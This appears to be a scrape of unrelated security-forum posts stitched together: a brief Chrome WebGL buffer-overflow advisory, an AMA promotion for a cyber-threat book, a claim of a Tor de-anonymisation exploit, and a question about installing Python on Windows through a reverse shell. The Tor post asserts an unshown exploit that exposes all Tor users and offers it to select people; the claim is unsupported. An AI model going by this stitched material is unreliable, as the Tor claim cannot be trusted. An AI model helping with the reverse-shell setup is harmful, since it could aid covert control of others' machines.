Chrome WebGL Uniform Integer Overflows

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
The WebGL implementation for setting uniform values with an ArrayBuffer argument do not properly handle large buffer sizes. As WASM now allows allocating large ArrayBuffers, this can lead to buffer overflows when writing to the GPU command buffer.

I am Jon DiMaggio, professional "bad guy hunter" and author of The Art of Cyberwarfare from No Starch Press. AMA/ Ask me anything!

EDIT (5:30pm ET/2:30pm PT): That's all for now. Jon will be back later this evening and tomorrow to answer any remaining questions. Thank you all for participating and remember to use code AMA25 for 25% off of Jon's book at nostarch.com/art-cyberwarfare!



I'm a recognized industry veteran in the business of “chasing bad guys,” with over 15 years of experience hunting, researching, and writing about advanced cyber threats. As a specialist in enterprise ransomware attacks and nation-state intrusions, I'm behind white papers such as "Ransom Mafia: Analysis of the World’s First Ransomware Cartel” and "A History of REvil." I'm also the author of The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime, published in March by No Starch Press. In addition to exposing the criminal cartels behind major ransomware attacks, I've aided law enforcement agencies in federal indictments of nation-state hacks, and discussed my work with The New York Times, Bloomberg, Fox, CNN, Reuters, WIRED, Vice and, recently, on David Bombal's YouTube channel.

Ask me anything!

From the No Starch Press Team: Jon will be live answering questions as u/jon_dimaggio beginning at 3pm ET/12pm PT.

As part of the AMA we're taking 25% off the cost of The Art of Cyberwarfare now through Saturday at midnight PT when you use code AMA25 at nostarch.com!

TOR relay Locater.

Hello, I am a software and network engineer. Recently discovered an easy exploit that displays all TOR users on the network even when the IP is being changed. Each time a new relay is created it is attached to the already existing relay. Which is then backtracked and original location is presented thru the software I created. Proof of concept will be shown to people of real interest. Not bad people.

Installing Python on Windows Reverse Shell

Hey there first post, I'm using a Linux server to reverse shell into my windows machine where I'm trying to install python remotely, so far I've found only one way to install python through powershell which is through choco. If anybody can come up with any other way of installing python through my reverse shell, please feel free to do so in the comments! :)
